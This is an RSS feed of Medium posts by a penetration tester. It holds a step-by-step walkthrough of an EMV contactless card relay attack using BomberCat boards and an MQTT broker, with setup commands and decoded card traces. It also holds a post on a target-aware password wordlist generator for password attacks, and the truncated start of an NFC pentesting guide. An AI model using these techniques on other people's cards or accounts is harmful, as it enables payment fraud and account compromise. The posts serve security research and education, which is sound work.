<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Jorge Bustos on Medium]]></title>
        <description><![CDATA[Stories by Jorge Bustos on Medium]]></description>
        <link>https://medium.com/@rootripper?source=rss-ec74363099f0------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Jx0gcVjZcC8wgnscDyll5Q.jpeg</url>
            <title>Stories by Jorge Bustos on Medium</title>
            <link>https://medium.com/@rootripper?source=rss-ec74363099f0------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 12:21:58 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@rootripper/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[A Practical Guide with BomberCat: NFC Relay & Traffic Analysis]]></title>
            <link>https://rootripper.medium.com/a-practical-guide-with-bombercat-nfc-relay-traffic-analysis-3e916eae3c8e?source=rss-ec74363099f0------2</link>
            <guid isPermaLink="false">https://medium.com/p/3e916eae3c8e</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[bombercat]]></category>
            <category><![CDATA[emv]]></category>
            <category><![CDATA[nfc]]></category>
            <dc:creator><![CDATA[Jorge Bustos]]></dc:creator>
            <pubDate>Thu, 16 Jul 2026 04:17:42 GMT</pubDate>
            <atom:updated>2026-08-06T01:19:57.839Z</atom:updated>
            <content:encoded><![CDATA[<h4>Relay Over MQTT with Two BomberCats and traffic analysis</h4><p>This is a walkthrough of a working EMV relay attack using two BomberCat (<a href="https://electroniccats.com/store/bombercat/">https://electroniccats.com/store/bombercat/</a>) boards from Electronic Cats, an MQTT broker on my Kali, and the ElectronicCats nfcrelay firmware.</p><p><em>Legal note: every card involved here was mine, on my own hardware, on my own LAN. Don’t do this on someone else’s card. This is educational content aimed at defenders and researchers.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5nPqKUXtMzD0Hmkd7Mtcog.png" /></figure><h3>The setup</h3><ol><li><strong>BomberCat HOST:</strong> Next to the real card. PN7150 in reader mode.</li><li><strong>BomberCat CLIENT :</strong> Next to the reader. PN7150 in card-emulation (HCE) mode.</li><li><strong>MQTT broker: </strong>192.168.1.96:1883 (Make sure to replace this) Message bus between the two boards.</li><li><strong>Coordinator:</strong> cordinator.py, Python + paho-mqtt matches idle hosts with pending clients.</li><li><strong>Sniffer:</strong> mosquitto_sub captures every APDU crossing the broker.</li><li><strong>Firmware:</strong> host_Relay_NFC.ino and client_Relay_NFC.ino from <a href="https://github.com/ElectronicCats/nfcrelay">https://github.com/ElectronicCats/nfcrelay</a> (Partially modified by me).</li></ol><h3>Steps…</h3><h4>Step 1. Coordinator and mosquitto</h4><p>The cordinator.py script acts as the central brain and traffic controller of the entire setup. Instead of the two BomberCat boards trying to communicate directly with one another, they pass all data through this script using the MQTT broker as a bridge.</p><p>When running the script, you must pass the IP address where your MQTT broker is listening as an argument (in this example, 192.168.1.96).</p><p>The beauty of this architecture is that physical distance becomes completely irrelevant. As long as both BomberCat boards have internet access and your MQTT broker is exposed to the internet, the Host and Client can communicate and synchronize traffic in real-time from completely different sides of the world.</p><p><a href="https://raw.githubusercontent.com/ElectronicCats/BomberCat/refs/heads/main/scripts/cordinator.py">https://raw.githubusercontent.com/ElectronicCats/BomberCat/refs/heads/main/scripts/cordinator.py</a></p><p>Mosquitto:</p><p>mosquitto.conf</p><pre>listener 1883 0.0.0.0<br>allow_anonymous true</pre><pre>mosquitto -c mosquitto.conf -d</pre><p>Coordinator:</p><pre>python3 cordinator.py 192.168.1.96</pre><p>Expected output example:</p><pre>Creating new instance.<br>connecting to broker<br>192.168.1.96<br>Subscribing to topic queue<br>####################################################################################<br></pre><h4>Step 2. Arduino Setup and Firmware Flashing (Host &amp; Client)</h4><p>To keep this article focused on the actual relay mechanics and traffic analysis, I will be skipping the foundational steps of installing the Arduino IDE and flashing the initial firmware onto the BomberCats.</p><p>If you need a step-by-step guide on installing the required board managers, or uploading the code, the official <a href="https://github.com/ElectronicCats/BomberCat/wiki">BomberCat Wiki</a> covers part of this in excellent detail. Make sure both your Host and Client boards are flashed before moving forward:</p><p><a href="https://github.com/ElectronicCats/BomberCat/wiki">Home</a></p><h4>Step 3. Host serial</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JIbsHP9oEV1lOCqA9PRmSA.jpeg" /></figure><p>Once your Host board is connected to your computer, open the Arduino Serial Monitor (set to <strong>9600 baud</strong>) and execute these commands to write the configuration into the device’s internal flash memory:</p><ul><li><strong>set_n-4</strong>: Assigns a unique numerical ID to this Host (e.g., 4). This tells the firmware to automatically listen to the specific MQTT topic RelayHost04.</li><li><strong>setup_wifi-&lt;SSID&gt;-&lt;PASS&gt;</strong>: Saves your Wi-Fi credentials into the EEPROM using hyphens as delimiters.</li><li><strong>setup_mqtt-192.168.1.96</strong>: Points the Host to your running MQTT broker IP address.</li><li><strong>get_config</strong>: A verification command that prints out the currently saved settings to ensure everything was written correctly.</li></ul><pre>set_n-4 <br>setup_wifi-&lt;SSID&gt;-&lt;PASS&gt;<br>setup_mqtt-192.168.1.96<br>get_config</pre><h4>Step 4. Client serial</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G6a86iIIPu7QiIqszPP-LA.jpeg" /><figcaption>“In this setup, I used my phone as the reader via the ‘Lector de tarjetas Pro (EMV)’ app.”</figcaption></figure><p>Plug in your Client board, and configure it through its own Serial CLI. This step links the Client to the exact infrastructure and pairs it with the correct Host:</p><ul><li><strong>set_h-4</strong>: Crucial step. This sets the <strong>target host ID</strong> to 4, ensuring that any data intercepted by this Client is routed specifically to RelayHost04 where our Host is waiting.</li><li><strong>setup_wifi-&lt;SSID&gt;-&lt;PASS&gt;</strong>: Connects the Client board to the local Wi-Fi network.</li><li><strong>setup_mqtt-192.168.1.96</strong>: Points the Client to the exact same MQTT broker so both devices can meet in the cloud.</li><li><strong>get_config</strong>: A verification command that prints out the currently saved settings to ensure everything was written correctly.</li></ul><pre>set_h-4 <br>setup_wifi-&lt;SSID&gt;-&lt;PASS&gt;<br>setup_mqtt-192.168.1.96<br>get_config</pre><h4>Step 5. Sniffer</h4><p>Before initiating the relay, it is highly recommended to set up an independent sniffing terminal. This allows you to monitor the raw telemetry and verify exactly what data is moving through your broker in real time.</p><pre>mosquitto_sub -h 192.168.1.96 -p 1883 -v -F &#39;%I | %t | %x&#39; -t &#39;#&#39;</pre><h3>The full transaction trace</h3><h4>cordinator:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yrpHQ8CYoL1gk-e1KRsqVA.png" /></figure><h4>Sniffer (mosquitto_sub):</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qhp-0a-7B8n39zObm5RRzg.png" /></figure><h4>1. Coordinator handshake</h4><p>Over the MQTT chat, each BomberCat introduced itself. The coordinator saw the messages and paired them up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/240/1*b7lepASXGZeRVr5gzAgUww.png" /></figure><ol><li><strong>c00h##: </strong>“Hello I’m here Client 00”</li><li><strong>h04c##</strong>: “Hello I’m here Host 04”</li><li><strong>c00h04: </strong>The coordinator saw the messages, paired them up, and announced to everyone: “Client 00 is going with Host 04.”</li></ol><h4>2. SELECT PPSE (Proximity Payment System Environment)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*OQQfnya7v1xi98NSqvrwGg.png" /></figure><p>Here’s where the magic starts. The reader thinks it is touching a real card, so it broadcasts its very first question to check which payment applications are supported.</p><p>This interaction is divided into two parts: the Command (C-APDU) sent by the terminal, and the Response (R-APDU) sent back by the card.</p><p>Phase A: The Request (C-APDU)</p><p><strong>The Flow:</strong> Reader ➔ BomberCat Client ➔ MQTT Broker ➔ BomberCat Host ➔ Real Card</p><p><strong>Human Translation: </strong>&quot;Hey, what payment applications do you have available inside your chip?&quot;</p><p>In smart card engineering, this packet is known as a C-APDU (Command Application Protocol Data Unit). The specific byte string captured in our logs represents the universal Select PPSE command:</p><pre>00 A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00<br>│  │  │  │  │  └───────── “2PAY.SYS.DDF01” (PPSE Name) ─────────┘<br>│  │  │  │  └─ Lc = 14 (Length of the data payload)<br>│  │  │  └─ P2 = 00<br>│  │  └─ P1 = 04 (Select by name / DF Name)<br>│  └─ INS = A4 (SELECT Command)<br>└─ CLA = 00 (Class byte)</pre><p>Phase B: The Response (R-APDU)</p><p><strong>The Flow:</strong> Real Card ➔ BomberCat Host ➔ MQTT Broker ➔ BomberCat Client ➔ Reader</p><p><strong>Human Translation:</strong> &quot;I have a Mastercard app ready. Here is my unique identifier (AID) and my priority ranking.&quot;</p><p>Once the real card processes the request, it replies with an R-APDU (Response APDU). The card answers using standard EMV tags, confirming it is a Mastercard and ending with the universal success code (90 00):</p><pre>6F 2F: FCI Template (File Control Information)<br>84 0E 325041592E5359532E4444463031: DF Name = “2PAY.SYS.DDF01”<br>A5 1D: FCI Proprietary Data<br>BF 0C 1A: FCI Issuer Discretionary Data<br>61 18: Application Template<br>  ├── 4F 07 A0000000041010: AID (Application Identifier) = Mastercard<br>  ├── 50 0A 4D617374657263617264: Application Label = “Mastercard”<br>  └── 87 01 01: Application Priority Indicator = 1<br>90 00: Status Word (Success / OK)</pre><h4>3. SELECT AID Mastercard</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XYsyJQgN2CF18fPHY7r8fg.png" /></figure><p>Now that the reader knows a Mastercard application is available on the chip, it moves forward to explicitly select it.</p><p>Phase A: The Request (C-APDU)</p><ul><li><strong>The Flow:</strong> Reader ➔ BomberCat Client ➔ MQTT Broker ➔ BomberCat Host ➔ Real Card</li><li><strong>Human Translation:</strong> “Perfect, I see you support Mastercard. Let’s open the Mastercard application and see its specific configurations.”</li></ul><p>The terminal targets the Application Identifier (AID) discovered in the previous step (A0000000041010):</p><pre>00 A4 04 00 07 A0 00 00 00 04 10 10 00<br>│  │  │  │  │  └─Mastercard AID ──┘<br>│  │  │  │  └─ Lc = 07 (Length of the AID payload)<br>│  │  │  └─ P2 = 00<br>│  │  └─ P1 = 04 (Select by direct DF name)<br>│  └─ INS = A4 (SELECT Command)<br>└─ CLA = 00</pre><h4>4. GET PROCESSING OPTIONS (GPO)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*yNxXA8c77OA29u5t2WniSQ.png" /></figure><p>This is one of the most critical steps in the transaction flow. Now that the reader has selected the Mastercard application, the GPO command initiates the actual transaction logic.</p><p>The reader presents its requirements, and the card responds by stating its security capabilities and giving the terminal a “map” of where the rest of its data is stored.</p><p>Phase A: The Request (C-APDU)</p><ul><li><strong>The Flow:</strong> Reader ➔ BomberCat Client ➔ MQTT Broker ➔ BomberCat Host ➔ Real Card</li><li><strong>Human Translation:</strong> “I want to start a transaction. Tell me your processing rules and capabilities.”</li></ul><p>In this instance, the command uses an empty PDOL (Processing Options Data Object List<strong>)</strong> payload (83 00), meaning the terminal is not passing additional transaction data points (like amount or country code) at this specific split-second:</p><pre>80 A8 00 00 02 83 00<br>│  │  │  │  │  └──── Tag 83 with a 00 length payload (Empty PDOL)<br>│  │  │  │  └─ Lc = 02 (Length of the data payload)<br>│  │  │  └─ P2 = 00 (Reserved for future use)<br>│  │  └─ P1 = 00 (Reserved for future use)<br>│  └─ INS = A8 (GET PROCESSING OPTIONS Command)<br>└─ CLA = 80 (Proprietary class byte format for EMV)</pre><p>Phase B: The Response (R-APDU)</p><ul><li><strong>The Flow:</strong> Real Card ➔ BomberCat Host ➔ MQTT Broker ➔ BomberCat Client ➔ Reader</li><li><strong>Human Translation:</strong> “Understood. Here is my Application Interchange Profile (AIP) showing what security protocols I support, and here is my Application File Locator (AFL), which acts as a map to find my cardholder records.”</li></ul><p>The card evaluates the request and sends back two crucial primitives wrapped in Tag 77:</p><pre>77 0E: Response Message Template Format 2<br>  ├── 82 02 19 80: AIP (Application Interchange Profile) = 0x1980<br>  └── 94 08 10 01 01 01 20 01 03 00: AFL (Application File Locator)<br>90 00: Status Word (Success / OK)</pre><p>Deep Dive: Decoding the Map (AFL Breakdown).</p><p>The Application File Locator (AFL) value (10 01 01 01 20 01 03 00) is an 8-byte array that tells the terminal exactly which data files (Short File Identifiers or SFIs) and records it needs to read next to extract information like the card number (PAN) and expiration date.</p><p>The terminal decodes it sequentially in 4-byte blocks:</p><p>Block 1: 10 01 01 01</p><ul><li><strong>10 ➔ SFI 2:</strong> (Calculated by shifting the byte 0x10 right by 3 bits). This tells the terminal to look into Short File Identifier #2.</li><li><strong>01 ➔ Start Record:</strong> Start reading from Record 01.</li><li><strong>01 ➔ End Record:</strong> Stop reading at Record 01 (Only 1 record exists here).</li><li><strong>01 ➔ Offline Auth:</strong> This 1 record is actively involved in offline data authentication.</li></ul><p>Block 2: 20 01 03 00</p><ul><li><strong>20 ➔ SFI 4:</strong> (Calculated by shifting 0x20 right by 3 bits). Tells the terminal to look into Short File Identifier #4.</li><li><strong>01 ➔ Start Record:</strong> Start reading from Record 01.</li><li><strong>03 ➔ End Record:</strong> Stop reading at Record 03 (This file contains 3 sequential records: 1, 2, and 3).</li><li><strong>00 ➔ Offline Auth:</strong> These records are not utilized for offline data authentication.</li></ul><h4>5. READ RECORD 1, SFI 2 — the money shot</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DM_0D-ZF8sdsXBnYBPswbA.png" /></figure><p>As predicted by the Application File Locator (AFL) map parsed in the previous step, the reader now acts on that knowledge. It issues its very first READ RECORD command targeting Short File Identifier (SFI) 2, Record 1. This is the exact moment where the core sensitive cardholder data is transmitted over the air.</p><p>Phase A: The Request (C-APDU)</p><ul><li><strong>The Flow:</strong> Reader ➔ BomberCat Client ➔ MQTT Broker ➔ BomberCat Host ➔ Real Card</li><li><strong>Human Translation:</strong> <em>“Please give me the contents of Record #1 inside your Short File Identifier #2.”</em></li></ul><p>The terminal constructs the command by packing the SFI number and the target record structure directly into the parameters:</p><pre>00 B2 01 14 00<br>│  │  │  │  └─ Le = 00 (Asks the card to return all available bytes)<br>│  │  │  └─ P2 = 14 (SFI Identifier &amp; format flags)<br>│  │  └─ P1 = 01 (Target Record Number = 1)<br>│  └─ INS = B2 (READ RECORD Command)<br>└─ CLA = 00</pre><p>Byte Mechanics: Parameter 2 (0x14) is calculated using EMV bitmasking rules: (SFI 2 &lt;&lt; 3) | 0b100. In binary, 0x14 translates to 00010100. The first 5 bits (00010) represent SFI 2, and the last 3 bits (100) tell the chip’s filesystem that the record index is explicitly located in parameter P1.</p><p>Phase B: The Response (R-APDU)</p><ul><li><strong>The Flow:</strong> Real Card ➔ BomberCat Host ➔ MQTT Broker ➔ BomberCat Client ➔ Reader</li><li><strong>Human Translation:</strong> “Transaction environment initialized. Here is the cardholder’s Primary Account Number (PAN), the expiration date, our regional routing profiles, and the Track 2 Equivalent data.”</li></ul><p>The card responds with a massive payload wrapped in Tag 70 (Record Template), completely exposing the card’s identity before closing with the 90 00 success state:</p><pre>70 81 A6: Record Template (Length 166 bytes)<br>  ├── 9F 42 02 04 84: Application Currency Code = MXN (Mexican Peso)<br>  ├── 5F 25 03 25 09 29: Effective Date = September 29, 2025 (YY-MM-DD)<br>  ├── 5F 24 03 30 09 30: Expiration Date = September 30, 2030 (YY-MM-DD)<br>  ├── 5A 08 53 28 29 ██ ██ ██ 07 35: PAN = 5328 29██ ████ 0735 (Mastercard)<br>  ├── 5F 34 01 00: PAN Sequence Number = 00<br>  ├── 9F 07 02 FF 00: Application Usage Control (Defines domestic/international permissions)<br>  ├── 9F 08 02 00 02: Application Version Number = 0x0002<br>  ├── 8C 27 ...: CDOL1 (Card Risk Management Data Object List 1)<br>  ├── 8D 0C ...: CDOL2 (Card Risk Management Data Object List 2)<br>  ├── 8E 0E ...: CVM List (Cardholder Verification Method priorities)<br>  ├── 9F 0D 05 B4 50 84 00 00: IAC - Default (Issuer Action Code)<br>  ├── 9F 0E 05 00 00 00 00 00: IAC - Denial<br>  ├── 9F 0F 05 B4 70 84 80 00: IAC - Online<br>  ├── 5F 28 02 04 84: Issuer Country Code = MEX (Mexico)<br>  ├── 9F 4A 01 82: SDA Tag List (Static Data Authentication criteria)<br>  └── 57 13 5328 29██ ████ 0735 D 3009 201 0000016600000F: Track 2 Equivalent Data<br>90 00: Status Word (Success / OK)</pre><p>Deep Dive: What Was Exfiltrated?</p><p>Looking closely at the parsed tags, a remote sniffing device or relay agent intercepts everything required to uniquely map and categorize the payment target:</p><ul><li><strong>PAN &amp; Expiry:</strong> The Primary Account Number (<strong>5328 29██ ████ 0735</strong>) confirms it belongs to the Mastercard network. The lifecycle parameters show the card became active in late <strong>2025</strong> and remains valid until <strong>September 2030</strong>.</li><li><strong>Geographic Constraints:</strong> Both Tag 5F 28 (Country) and Tag 9F 42 (Currency) return the numerical value 04 84. According to ISO standards, this maps explicitly to <strong>Mexico</strong> and <strong>MXN</strong>, indicating the financial institution and regional clearing infrastructure.</li><li><strong>The </strong><strong>57 Track 2 Goldmine:</strong> Tag 57 emulates the exact structural string legacy magnetic stripe readers look for. Following the account number and the D delimiter, it reveals the localized expiration matrix (3009) and a <strong>Service Code of </strong><strong>201</strong>.</li></ul><h4>6. GET DATA — Log Format / PIN Try Counter / ATC</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*sS799XxCAOkaC8yCFGoPkw.png" /></figure><p>With the primary cardholder records successfully exfiltrated, the reader shifts its focus to auditing commands. It issues several GET DATA inquiries to query internal metadata counters, application logs, and security parameters.</p><p>This phase is a goldmine for understanding how the card maintains its internal state, and it also introduces some fascinating protocol nuances regarding error handling.</p><p>Command 1: GET DATA — Log Format</p><ul><li><strong>The Flow:</strong> Reader ➔ BomberCat Client ➔ MQTT Broker ➔ BomberCat Host ➔ Real Card</li><li><strong>Human Translation:</strong> “Show me the template and structure you use to save your internal transaction history logs.”</li></ul><pre>C: 80 CA 9F 4F 00 <br>│  │  └───── Tag 9F 4F: Log Format Identifier<br>│  └─ INS = CA (GET DATA Command)<br>└─ CLA = 80</pre><pre>R: 9F 4F 1A 9F 27 01 9F 02 06 5F 2A 02 9A 03 9F 36 02 9F 52 06 DF 3E 01 9F 21 03 9F 7C 14 90 00</pre><p>The card responds with success (90 00) and returns Tag 9F 4F, which acts as a data dictionary. It tells the reader exactly what tags will be present inside each transaction log record (such as Cryptogram Information Data 9F 27, Amount Authorized 9F 02, Transaction Date 9A 03, etc.).</p><p>Command 2: READ RECORD 1, SFI 11 (Log Entry Attempt)</p><p><strong>The Flow:</strong> Reader ➔ BomberCat Client ➔ MQTT Broker ➔ BomberCat Host ➔ Real Card</p><p><strong>Human Translation:</strong> “Based on the format you just gave me, let’s read the very first transaction log entry inside your memory.”</p><pre>C: 00 B2 01 5C 00<br>│  │  │  └─ P2 = 5C (SFI 11 Identifier ➔ Calculated as 0x5C &gt;&gt; 3)<br>│  │  └─ P1 = 01 (Record Number = 1)<br>│  └─ INS = B2 (READ RECORD)<br>└─ CLA = 00</pre><pre>R: 69 85 ❌ (Status Word: Conditions of use not satisfied)</pre><p>Protocol Connection: In step 3 (SELECT AID), the card returned Tag 9F 4D, stating it maintains logs under SFI 11. The reader tries to access it here (0x5C translates to SFI 11), but the chip instantly denies access with a 69 85 status word.</p><p>Command 3: GET DATA — PIN Try Counter</p><ul><li><strong>The Flow:</strong> Reader ➔ BomberCat Client ➔ MQTT Broker ➔ BomberCat Host ➔ Real Card</li><li><strong>Human Translation:</strong> “Tell me how many consecutive wrong PIN attempts are remaining before this chip locks down.”</li></ul><pre>C: 80 CA 9F 17 00<br>│  │  └───── Tag 9F 17: PIN Try Counter<br>│  └─ INS = CA (GET DATA)<br>└─ CLA = 80</pre><pre>R: 9F 17 01 03 90 00 <br>            └─ Value = 03 (3 attempts remaining)</pre><p>The card responds cleanly. The payload value 03 confirms that the cardholder currently has a pristine security threshold: <strong>3 remaining PIN attempts</strong> before card lockup.</p><p>Command 4: GET DATA — ATC (Application Transaction Counter)</p><ul><li><strong>The Flow:</strong> Reader ➔ BomberCat Client ➔ MQTT Broker ➔ BomberCat Host ➔ Real Card</li><li><strong>Human Translation:</strong> “Give me your internal counter that tracks the total number of transactions executed during this card’s lifestyle.”</li></ul><pre>C: 80 CA 9F 36 00<br>│  │  └───── Tag 9F 36: Application Transaction Counter (ATC)<br>│  └─ INS = CA (GET DATA)<br>└─ CLA = 80</pre><pre>R: 6A 88 ❌ (Status Word: Referenced data not found)</pre><p>The chip rejects the request for this specific object, returning the standard ISO 7816 error code 6A 88.</p><p>Red Team Debugging Insight: Don’t Panic on 6985 and 6A88</p><p>When building or testing custom hardware relay infrastructures like our BomberCat setup, it is incredibly easy to freak out when you start seeing error strings like 69 85 (Conditions of use not satisfied) or 6A 88 (Referenced data not found) pop up in your sniffer terminals.</p><p><strong>These are not hardware drops, network latency drops, or relay connection failures.</strong></p><p>This is the real card chip interacting natively with the reader. In the EMV ecosystem:</p><ul><li><strong>69 85</strong> simply means the card is saying: &quot;I have this file, but you cannot read it right now because the specific security or transaction lifecycle state required to open it hasn&#39;t been met yet.&quot;</li><li><strong>6A 88</strong> is the card politely stating: <em>&quot;</em>That field or object is not populated or supported in this specific context.&quot;</li></ul><p>A real-world point-of-sale terminal expects these responses. It reads them, gracefully handles the rejection according to its internal kernel rules, and immediately skips to the next command in line without breaking the payment flow. If your relay infrastructure passes these error words back and forth accurately, it means your setup is performing a structurally perfect emulation.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3e916eae3c8e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[P0lyn0m1c0n: Building Smarter Target-Aware Wordlists for Password Attacks]]></title>
            <link>https://rootripper.medium.com/p0lyn0m1c0n-building-smarter-target-aware-wordlists-for-password-attacks-37cdcd77dede?source=rss-ec74363099f0------2</link>
            <guid isPermaLink="false">https://medium.com/p/37cdcd77dede</guid>
            <category><![CDATA[passwords]]></category>
            <category><![CDATA[password-cracking]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Jorge Bustos]]></dc:creator>
            <pubDate>Sun, 17 May 2026 19:06:53 GMT</pubDate>
            <atom:updated>2026-05-17T19:09:56.981Z</atom:updated>
            <content:encoded><![CDATA[<p>A bash tool for generating focused, context-aware password wordlists</p><h3>Background</h3><p>A couple of years ago, I published <strong>P0lyn0m1c0n</strong>, a tool for crafting customized, target-aware password wordlists. Today, I’m thrilled to introduce its latest, most advanced version. Here is a breakdown of what’s new and how you can leverage it in your next assessment.</p><p><a href="https://github.com/rootripper/P0lyn0m1c0n">GitHub - rootripper/P0lyn0m1c0n: P0lyn0m1c0n is a tool that aims to generate custom wordlists according to the target to be used in password attacks during penetration testing exercises.</a></p><h3>Why Another Wordlist Tool?</h3><p>If you’ve done any password attacks, you know the drill. Type hashcat followed by a generic wordlist and wait. Generic wordlists are great, but they miss something important: people build passwords around context.</p><p>Employees don’t pick random strings. They pick the company name. They add the current year. They throw in their department, an exclamation mark, maybe a leet substitution they think is clever. A password like Ec0rp2026! will never be in a generic list but it’s exactly the kind of password a real person sets.</p><p>P0lyn0m1c0n exists to bridge that gap. Instead of brute-forcing every possible combination, it takes a target (a company name, a domain) and mutates it into the patterns humans actually use. The result is a compact, high-relevance wordlist tuned for the engagement in front of you.</p><h3>The Core Idea: Mutation, Not Brute Force</h3><p>There are two ways to build a wordlist:</p><p>Brute force generate every combination of characters up to length N. Tools like crunch do this. Exhaustive, but enormous.</p><p>Mutation start from words a human would actually use, and apply realistic transformations.</p><p>P0lyn0m1c0n is firmly in camp two. It takes known words and layers on the transformations that show up in real-world password dumps: year suffixes, month names, leet substitutions, common numeric and symbol endings, and corporate vocabulary.</p><h3>How It Works</h3><p>The tool runs as an interactive wizard (or fully via CLI flags more on that later). Here’s a run against a fictional target, ecorp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*Oh8M2MiVHJNPsmG3AxskaA.png" /></figure><p>You walk through a handful of choices:</p><p><strong>Language focus.</strong></p><p>Passwords are cultural. A Spanish-speaking workforce produces empresa2026, administrador123, etc; an English-speaking one produces ecorp2026 or admin123. P0lyn0m1c0n lets you pick Spanish, English, or both and it adapts months, common passwords, first names, and role vocabulary accordingly.</p><p><strong>Length range.</strong></p><p>Match the target’s actual password policy. If the org enforces 8–12 characters, there’s no point generating 20-character candidates that will never be valid.</p><p><strong>Character set.</strong></p><p>Pick any combination of lowercase, uppercase, digits, and symbols. This works as a constructor, not just a filter if you disable symbols, the tool reshapes candidates to fit rather than silently dropping most of them.</p><p><strong>Leet substitution.</strong></p><p>Five levels, from off to “all.” Basic handles the classics (a→4, e→3, i→1, o→0), so ecorp becomes 3c0rp. Higher levels add s→5, t→7 and beyond. The all mode emits multiple leet variants per word, since different people leet to different depths.</p><p><strong>Year mode.</strong></p><p>This one matters more than it looks. People set Company2025! and then forget to rotate it so last year’s password is still live. Others get ahead of a forced rotation and set next year’s password early. P0lyn0m1c0n’s “recent” mode covers previous, current, and next year for exactly this reason. “Historic” mode walks all the way back to 2005 for older or long-lived accounts.</p><p><strong>Effort level.</strong></p><p>This caps the output: 1,000 / 10,000 / 50,000 / uncapped. Candidates are generated in priority tiers the most probable patterns first so “Fast” mode still gives you the best 1,000, not a random 1,000.</p><p><strong>The Shared Base Dictionary</strong></p><p>One design decision worth calling out: the base dictionary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*YOG-Bl5wOe00pKNtZUwm3w.png" /></figure><p>Rather than asking you to supply a wordlist or generate one, P0lyn0m1c0n always generates a base dictionary automatically seeded with the most common passwords, typical first names, corporate roles (admin, manager, ceo), departments (it, sales, hr), and technical service accounts (ftp, sql, vpn, ssh) all matched to your chosen language.</p><p>Then it pauses. The tool tells you exactly where the file lives and waits. If you have engagement-specific intel founder names, product names, the city the HQ is in, an internal project codename you drop it into that file and type “y” to continue. Those custom words flow through the same mutation pipeline as everything else.</p><p>This matters because the highest-value passwords are almost always tied to information specific to the target that no generic list could contain.</p><p><strong>CLI Mode for Automation</strong></p><p>The interactive wizard is great for one-off runs, but P0lyn0m1c0n also takes full CLI flags so you can drop it into scripts and pipelines:</p><pre>#Print help <br>./P0lyn0m1c0n_v2.sh -h<br><br># Quick run, Spanish focus, top 10k<br>./P0lyn0m1c0n_v2.sh -t acme<br><br># password list, English, capped at 10k<br>./P0lyn0m1c0n_v2.sh -t globex -l en --min 8 --max 16 --charset LUDS --leet medium --effort medium -y --no-prompt<br><br># Maximum coverage for offline cracking<br>./P0lyn0m1c0n_v2.sh -t hooli -l both --charset LUDS --leet all --years historic --effort all -y --no-prompt</pre><h3>A Note on Output Size</h3><p>The tool is honest with you. If your constraints are tight short max length, no symbols, single language you simply can’t generate 10,000 distinct candidates. When that happens, P0lyn0m1c0n doesn’t pad with garbage. It tells you exactly how many it produced, why the number came up short, and which knobs to turn to widen the set.</p><p>In the run above, an uncapped exhaustive pass against ecorp produced 35,682 unique candidates every one of them a realistic, human-shaped password rather than random noise.</p><h3>Wrapping Up</h3><p>P0lyn0m1c0n started as a small script and grew into something genuinely useful for focused password auditing. The philosophy stayed constant throughout: relevance beats volume. A tight list of 10,000 candidates shaped around how real people build passwords will routinely outperform a generic list a thousand times its size.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=37cdcd77dede" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[NFC for Penetration Testers: Real-World tools and techniques]]></title>
            <link>https://rootripper.medium.com/nfc-for-penetration-testers-real-world-techniques-5377ba9b1b2c?source=rss-ec74363099f0------2</link>
            <guid isPermaLink="false">https://medium.com/p/5377ba9b1b2c</guid>
            <category><![CDATA[nfc]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[flipper-zero]]></category>
            <dc:creator><![CDATA[Jorge Bustos]]></dc:creator>
            <pubDate>Wed, 25 Mar 2026 21:05:16 GMT</pubDate>
            <atom:updated>2026-03-28T02:55:39.660Z</atom:updated>
            <content:encoded><![CDATA[<p>Near Field Communication (NFC) technology is everywhere used in access control systems, payment cards, transit passes, and even smart gadgets. As penetration testers, understanding how to analyze and exploit NFC-based systems is crucial for identifying security weaknesses before malicious actors do.</p><p>In this article, I’ll share real-world NFC attack techniques and tools that I’ve used throughout my career. We’ll start with simple tools and basic attacks before progressing to more advanced scenarios. Whether you’re new to NFC security or looking to expand your offensive skill set, this guide will provide practical insights into testing and exploiting NFC technologies effectively.</p><p>Lastly, while other tools and methods exist in the NFC hacking landscape, I only write about what I have tested firsthand. I look forward to exploring these additional techniques and sharing my personal findings with you soon.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*bjU4TVKkMkJzFGPyfCdE-A.png" /></figure><h3><strong>Level 0: Flipper Zero</strong></h3><p>Don’t get me wrong Flipper Zero is an incredibly powerful tool, and its complexity depends entirely on how deep you want to go. However, when it comes to NFC, Flipper Zero simplifies many tasks that 